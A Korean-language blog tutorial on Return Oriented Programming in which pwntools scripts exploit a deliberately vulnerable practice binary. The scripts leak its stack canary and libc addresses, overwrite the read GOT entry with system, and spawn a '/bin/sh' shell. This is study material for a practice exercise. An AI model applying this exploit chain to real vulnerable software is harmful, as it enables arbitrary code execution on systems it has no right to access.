Pwnable/Techniques

Exploit Tech: Return Oriented Programming

Anatis 2021. 12. 27. 23:23

Return Oriented Programming

ROP는 리턴 가젯을 사용하여 실행 흐름을 구현하는 기법이다. 공격자는 return to library, return to dl-resolve, GOT overwrite 등의 페이로드를 구성할 수 있다. 

 

ROP 페이로드는 pop rdi; ret 같은 리턴 가젯으로 구성되는데 ret 단위로 여러 코드가 연쇄적으로 실행되는 모습에서 ROP chain이라고도 한다.

 

// Name: rop.c
// Compile: gcc -o rop rop.c -fno-PIE -no-pie

#include <stdio.h>
#include <unistd.h>

int main()
{
    char buf[0x30];

    setvbuf(stdin, 0, _IONBF, 0);
    setvbuf(stdout, 0, _IONBF, 0);

    // Leak canary
    puts("[1] Leak Canary");
    printf("Buf: ");
    read(0, buf, 0x100);
    printf("Buf: %s\n", buf);

    // Do ROP
    puts("[2] Input ROP payload");
    printf("Buf: ");
    read(0, buf, 0x100);

    return 0;
}

 

분석 및 설계

 

1. 우선 카나리를 우회한다.

2. libc.so.6에 정의된 system 함수의 주소를 계산해야 하는데 이는 바이너리에서 호출하는 read, puts, printf GOT를 통해 주소를 leak하고 offset을 통해 libc base 주소를 구하면 system 함수의 주소를 구할 수 있다.

3. "/bin/sh" 문자열의 주소를 구하여야 한다.

 

카나리 우회

from pwn import *

p = process('./rop')
e = ELF('./rop')
lib = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')

p.recvuntil('[1] Leak Canary')
p.sendafter('Buf: ', 'A'*0x39)

p.recvuntil('A'*0x39)
canary = u64('\x00' + p.recv(7))
log.success('canary: ' + hex(canary))


p.interactive()

 

system 함수의 주소 계산

read 함수의 got를 읽고, read 함수와 system 함수의 오프셋을 이용하여 system 함수의 주소를 계산하면된다.  puts와 pop rdi; ret 가젯을 사용해 read 함수의 GOT를 읽고, 이를 이용해 system 함수를 구해보자.

 

from pwn import *

p = process('./rop')
e = ELF('./rop')
lib = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')

# Leak canary
p.recvuntil('[1] Leak Canary')
p.sendafter('Buf: ', 'A'*0x39)

p.recvuntil('A'*0x39)
canary = u64('\x00' + p.recv(7))
log.success('canary: ' + hex(canary))

# Exploit

read_plt = e.plt['read']
read_got = e.got['read']
puts_plt = e.plt['puts']
pop_rdi = 0x4007f3
pop_rsi_r15 = 0x4007f1

payload = 'A'*0x38 + p64(canary) + 'A'*0x8
payload += p64(pop_rdi)
payload += p64(read_got)
payload += p64(puts_plt)
p.sendlineafter('Buf: ', payload)

read_leak = u64(p.recvn(6).ljust(8, '\x00'))
lb = read_leak - lib.symbols['read']
system = lb + lib.symbols['system']

success('read: ' + hex(read_leak))
success('libc_base: ' + hex(lb))
success('system: ' + hex(system))

p.interactive()

 

GOT Overwrite 및 "/bin/sh" 입력

"/bin/sh"는 덮어쓸 GOT 엔트리 뒤에 같이 입력을 해야한다. 여기서는 read 함수의 입력 스트림, 입력 버퍼, 입력 길이, 총 세 개의 인자가 필요하다. 즉, 함수 호추 규약에 따라 rdi, rsi, rdx 레지스터가 필요하다.

 

첫 번째 두 번째 인자는 pop rdi; ret, pop rsi; pop 15; ret 가젯으로 설정할 수 있다. 하지만 세 번째 rdx 가젯은 바이너리에서 찾기가 어렵다. 예제 코드에서는 read 함수의 GOT를 읽을 뒤 rdx 값이 매우 크게 설정되므로 rdx 가젯을 추가하지 않아도 된다.

 

read 함수, pop rdil ret, pop rsi; pop 15; ret 가젯을 이용해 read의 GOT를 system 함수의 주소로 덮고, read_got + 8을 "/bin/sh" 문자열을 쓰면 된다.

 

from pwn import *

p = process('./rop')
e = ELF('./rop')
lib = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')

# Leak canary
p.recvuntil('[1] Leak Canary')
p.sendafter('Buf: ', 'A'*0x39)

p.recvuntil('A'*0x39)
canary = u64('\x00' + p.recv(7))
log.success('canary: ' + hex(canary))

# Exploit
read_plt = e.plt['read']
read_got = e.got['read']
puts_plt = e.plt['puts']
pop_rdi = 0x4007f3
pop_rsi_r15 = 0x4007f1

# puts(read_got)
payload = 'A'*0x38 + p64(canary) + 'A'*0x8
payload += p64(pop_rdi)
payload += p64(read_got)
payload += p64(puts_plt)

# read(0, read_got, 0x10)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(read_plt)

# read("/bin/sh") == system("/bin/sh")
payload += p64(pop_rdi)
payload += p64(read_got + 8)
payload += p64(read_plt)
p.sendafter('Buf: ', payload)

read_leak = u64(p.recvn(6).ljust(8, '\x00'))
lb = read_leak - lib.symbols['read']
system = lb + lib.symbols['system']

success('read: ' + hex(read_leak))
success('libc_base: ' + hex(lb))
success('system: ' + hex(system))

p.send(p64(system) + "/bin/sh\x00")

p.interactive()